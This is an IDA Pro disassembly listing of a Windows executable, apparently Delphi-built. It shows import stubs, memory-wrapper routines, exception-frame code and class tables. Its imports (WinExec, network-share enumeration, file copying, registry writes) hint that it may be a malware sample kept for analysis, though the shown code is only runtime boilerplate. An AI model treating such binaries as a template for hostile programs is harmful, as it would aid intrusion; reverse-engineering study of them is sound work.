; [00000006 BYTES: COLLAPSED FUNCTION j_RegQueryValueExA_0. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RegSetValueExA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CloseHandle_0. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CompareStringA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CopyFileA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateEventA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateFileA_0. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteCriticalSection_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteFileA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_EnterCriticalSection_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_EnumCalendarInfoA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FileTimeToDosDateTime. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FileTimeToLocalFileTime. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FindClose_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FindFirstFileA_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FindNextFileA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_FormatMessageA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetACP.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCPInfo. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetComputerNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentDirectoryA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentProcessId. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentThread. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentThreadId_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDateFormatA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDiskFreeSpaceA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetLastError_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetLocalTime. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetLocaleInfoA_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleFileNameA_1. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetModuleHandleA_1. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetProcAddress_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetShortPathNameA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemDirectoryA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetTempPathA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetThreadLocale_0. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetTimeZoneInformation.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetUserDefaultLangID. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetVersionExA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetWindowsDirectoryA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalAddAtomA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalAlloc. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalDeleteAtom. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalFindAtomA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalFree. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalLock. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalHandle. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalReAlloc. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GlobalUnlock. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_InitializeCriticalSection_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LeaveCriticalSection_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LoadLibraryA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MulDiv.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ReadFile_0. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RemoveDirectoryA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetEndOfFile_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetFileAttributesA. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetFilePointer_0. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetPriorityClass. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetThreadPriority. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_Sleep. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VerLanguageNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_VirtualQuery_0.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WaitForSingleObject. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WinExec. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WriteFile_0. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WNetEnumResourceA. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_WNetOpenEnumA. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateBitmap. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateBrushIndirect. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateCompatibleBitmap.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateCompatibleDC. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateDIBitmap.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateFontIndirectA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreatePalette. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreatePenIndirect. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteDC. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DeleteObject. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetBitmapBits. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetCurrentPositionEx. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDIBits. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDeviceCaps. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetObjectA. PRESS KEYPAD "+" TO	EXPAND]
		align 4
		db 0FFh	;  
		db  25h	; %
		db  80h	; ─ OFF32 SEGDEF [_idata,41F380]
		db 0F3h	; С
		db  41h	; A
		db    0	;  
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemPaletteEntries. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetTextMetricsA. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MoveToEx. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_RealizePalette.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SelectObject. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SelectPalette. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetBkColor. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetBkMode. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetROP2. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_SetTextColor. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_StretchBlt. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_UnrealizeObject. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_CreateIcon. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DestroyIcon. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DestroyWindow. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_DrawIconEx. PRESS KEYPAD "+" TO	EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetDC. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetIconInfo. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSysColor. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_GetSystemMetrics. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		db 0FFh	;  
		db  25h	; %
		db 0D0h	; п OFF32 SEGDEF [_idata,41F3D0]
		db 0F3h	; С
		db  41h	; A
		db    0	;  
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_LoadStringA_0. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_MessageBoxA_0. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION j_ReleaseDC. PRESS KEYPAD	"+" TO EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405E7C	proc near		; CODE XREF: sub_40DBA8+44p
		push	edx
		push	eax
		call	j_GlobalAlloc
		push	eax
		call	j_GlobalLock
		retn
sub_405E7C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405E8C	proc near		; CODE XREF: sub_40DBA8+5Ap
		push	ecx
		push	edx
		push	eax
		call	j_GlobalHandle
		push	eax
		push	eax
		call	j_GlobalUnlock
		call	j_GlobalReAlloc
		push	eax
		call	j_GlobalLock
		retn
sub_405E8C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_405EA8	proc near		; CODE XREF: sub_40DBA8+2Dp
		push	eax
		call	j_GlobalHandle
		push	eax
		push	eax
		call	j_GlobalUnlock
		call	j_GlobalFree
		retn
sub_405EA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_405EBC	proc near		; DATA XREF: CODE:0041A8F0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405EE1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E4E0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_405EE8

locret_405EE0:				; CODE XREF: sub_405EBC+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405EE1:				; DATA XREF: sub_405EBC+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_405EE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_405EE8:				; CODE XREF: sub_405EBC+24j
					; DATA XREF: sub_405EBC+1Fo
		pop	ebp
		retn
sub_405EBC	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_405EEC:				; DATA XREF: CODE:0041A8ECo
		sub	ds:dword_41E4E0, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_405EF4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBA8o
		dd 0FFF0h
off_405EFC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC04o
		dd 0FFF1h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DB10o
		dd 0FFF2h
off_405F0C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB08o
		dd 0FFF3h
off_405F14	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB78o
		dd 0FFF4h
off_405F1C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC58o
		dd 0FFF5h
off_405F24	dd offset dword_41E4D4	; DATA XREF: DATA:0041DABCo
		dd 0FFF6h
off_405F2C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC08o
		dd 0FFF7h
off_405F34	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBD0o
		dd 0FFF8h
off_405F3C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DAF4o
		dd 0FFF9h
off_405F44	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB18o
		dd 0FFFAh
off_405F4C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC64o
		dd 0FFFBh
off_405F54	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC60o
		dd 0FFFCh
off_405F5C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB7Co
		dd 0FFFDh
off_405F64	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC70o
		dd 0FFFEh
off_405F6C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC80o
		dd 0FFFFh
off_405F74	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBD4o
		dd 0FFE0h
off_405F7C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBE4o
		dd 0FFE1h
off_405F84	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBDCo
		dd 0FFE2h
off_405F8C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC7Co
		dd 0FFE3h
off_405F94	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC50o
		dd 0FFE4h
off_405F9C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB68o
		dd 0FFE5h
off_405FA4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB6Co
		dd 0FFE6h
off_405FAC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC5Co
		dd 0FFE7h
off_405FB4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC78o
		dd 0FFE8h
off_405FBC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB0Co
		dd 0FFE9h
off_405FC4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C14Co
					; DATA:0041DB1Co
		dd 0FFEAh
off_405FCC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C150o
					; DATA:0041DB80o
		dd 0FFEBh
off_405FD4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBBCo
		dd 0FFECh
off_405FDC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBA4o
		dd 0FFEDh
off_405FE4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DAB8o
		dd 0FFEEh
off_405FEC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC88o
		dd 0FFEFh
off_405FF4	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBF8o
		dd 0FFD0h
off_405FFC	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB88o
		dd 0FFD1h
off_406004	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB3Co
		dd 0FFD2h
off_40600C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC20o
		dd 0FFD3h
off_406014	dd offset dword_41E4D4	; DATA XREF: DATA:0041DAD8o
		dd 0FFD4h
off_40601C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC0Co
		dd 0FFD5h
off_406024	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB98o
		dd 0FFD6h
off_40602C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DBF4o
		dd 0FFD7h
		dd offset dword_41E4D4	; DATA XREF: DATA:0041DC40o
		dd 0FFD8h
off_40603C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB20o
		dd 0FFD9h
off_406044	dd offset dword_41E4D4	; DATA XREF: DATA:0041DC28o
		dd 0FFDAh
off_40604C	dd offset dword_41E4D4	; DATA XREF: DATA:0041DAE8o
		dd 0FFDBh
off_406054	dd offset dword_41E4D4	; DATA XREF: DATA:0041DB40o
		dd 0FFDCh
off_40605C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C160o
					; DATA:0041DC74o
		dd 0FFDDh
off_406064	dd offset dword_41E4D4	; DATA XREF: DATA:0041C164o
					; DATA:0041DBC0o
		dd 0FFDEh
off_40606C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C168o
					; DATA:0041DC4Co
		dd 0FFDFh
off_406074	dd offset dword_41E4D4	; DATA XREF: DATA:0041C16Co
					; DATA:0041DAB4o
		dd 0FFC0h
off_40607C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C170o
					; DATA:0041DAECo
		dd 0FFC1h
off_406084	dd offset dword_41E4D4	; DATA XREF: DATA:0041C174o
					; DATA:0041DC8Co
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn	0FFh
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_40608C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C178o
					; DATA:0041DC3Co
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 0FFh, 2 dup(0)
off_406094	dd offset dword_41E4D4	; DATA XREF: DATA:0041C17Co
					; DATA:0041DACCo
		dd 0FFC4h
off_40609C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C180o
					; DATA:0041DB14o
		dd 0FFC5h
off_4060A4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C184o
					; DATA:0041DBC4o
		dd 0FFC6h
off_4060AC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C188o
					; DATA:0041DC44o
		dd 0FFC7h
off_4060B4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C18Co
					; DATA:0041DC68o
		dd 0FFC8h
off_4060BC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C190o
					; DATA:0041DB8Co
		dd 0FFC9h
off_4060C4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C194o
					; DATA:0041DAC0o
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retf	0FFh
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_4060CC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C198o
					; DATA:0041DB50o
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		retf
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 0FFh, 2 dup(0)
off_4060D4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C19Co
					; DATA:0041DBACo
		dd 0FFCCh
off_4060DC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1A0o
					; DATA:0041DBD8o
		dd 0FFCDh
off_4060E4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1A4o
					; DATA:0041DBA0o
		dd 0FFCEh
off_4060EC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1A8o
					; DATA:0041DB2Co
		dd 0FFCFh
off_4060F4	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1ACo
					; DATA:0041DBB0o
		dd 0FFB0h
off_4060FC	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1B0o
					; DATA:0041DC10o
		dd 0FFB1h
off_406104	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1B4o
					; DATA:0041DAC4o
		dd 0FFB2h
off_40610C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1B8o
					; DATA:0041DB34o
		dd 0FFB3h
off_406114	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1BCo
					; DATA:0041DB64o
		dd 0FFB4h
off_40611C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1C0o
					; DATA:0041DBECo
		dd 0FFB5h
off_406124	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1C4o
					; DATA:0041DC14o
		dd 0FFB6h
off_40612C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1C8o
					; DATA:0041DC1Co
		dd 0FFB7h
off_406134	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1CCo
					; DATA:0041DBC8o
		dd 0FFB8h
off_40613C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1D0o
					; DATA:0041DAFCo
		dd 0FFB9h
off_406144	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1D4o
					; DATA:0041DBE0o
		dd 0FFBAh
off_40614C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1D8o
					; DATA:0041DB74o
		dd 0FFBBh
off_406154	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1DCo
					; DATA:0041DAE4o
		dd 0FFBCh
off_40615C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1E0o
					; DATA:0041DAF8o
		dd 0FFBDh
off_406164	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1E4o
					; DATA:0041DB00o
		dd 0FFBEh
off_40616C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1E8o
					; DATA:0041DAC8o
		dd 0FFBFh
off_406174	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1ECo
					; DATA:0041DC00o
		dd 0FFA0h
off_40617C	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1F0o
					; DATA:0041DADCo
		dd 0FFA1h
off_406184	dd offset dword_41E4D4	; DATA XREF: DATA:0041C1F4o
					; DATA:0041DC48o
		dd 0FFA2h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40618C	proc near		; DATA XREF: CODE:0041A908o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4061B1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E4E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4061B8

locret_4061B0:				; CODE XREF: sub_40618C+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4061B1:				; DATA XREF: sub_40618C+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_4061B0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4061B8:				; CODE XREF: sub_40618C+24j
					; DATA XREF: sub_40618C+1Fo
		pop	ebp
		retn
sub_40618C	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_4061BC:				; DATA XREF: CODE:0041A904o
		sub	ds:dword_41E4E4, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_4061C4	dd offset dword_4061C8	; DATA XREF: CODE:004061ECo
dword_4061C8	dd 4654090Ah, 4E656C69h, 90656D61h ; DATA XREF:	CODE:004061C4o
off_4061D4	dd offset dword_4061D8	; DATA XREF: sub_417928+58r
					; sub_417928+28Ar
dword_4061D8	dd 53540A0Eh, 63726165h, 63655268h, 158h, 1 ; DATA XREF: CODE:004061D4o
		dd offset off_4061C4
		dd 0Ch
off_4061F4	dd offset dword_406240	; DATA XREF: CODE:00406284o
					; CODE:0040633Co ...
		align 10h
		dd offset dword_406240
		dd 4 dup(0)
		dd offset dword_406252
		dd 0Ch
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_402BCC
dword_406240	dd 0Eh,	10000h		; DATA XREF: CODE:004061F4o
					; CODE:00406200o
		db 2 dup(0)
		dd offset off_401000
		dd 4
dword_406252	dd 63784509h, 69747065h	; DATA XREF: CODE:00406214o
		db 6Fh,	6Eh
off_40625C	dd offset dword_4062A8	; DATA XREF: CODE:004062E0o
					; CODE:00406768o
		dd 7 dup(0)
		dd offset dword_4062A8
		dd 10h
		dd offset off_4061F4
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset loc_4095DC
		dd offset sub_402BCC
dword_4062A8	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ;	DATA XREF: CODE:0040625Co
					; CODE:0040627Co
off_4062B8	dd offset dword_406304	; DATA XREF: sub_409B0C+27r
					; CODE:0040B828o
		dd 7 dup(0)
		dd offset dword_406304
		dd 10h
		dd offset off_40625C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset loc_4095DC
		dd offset sub_402BCC
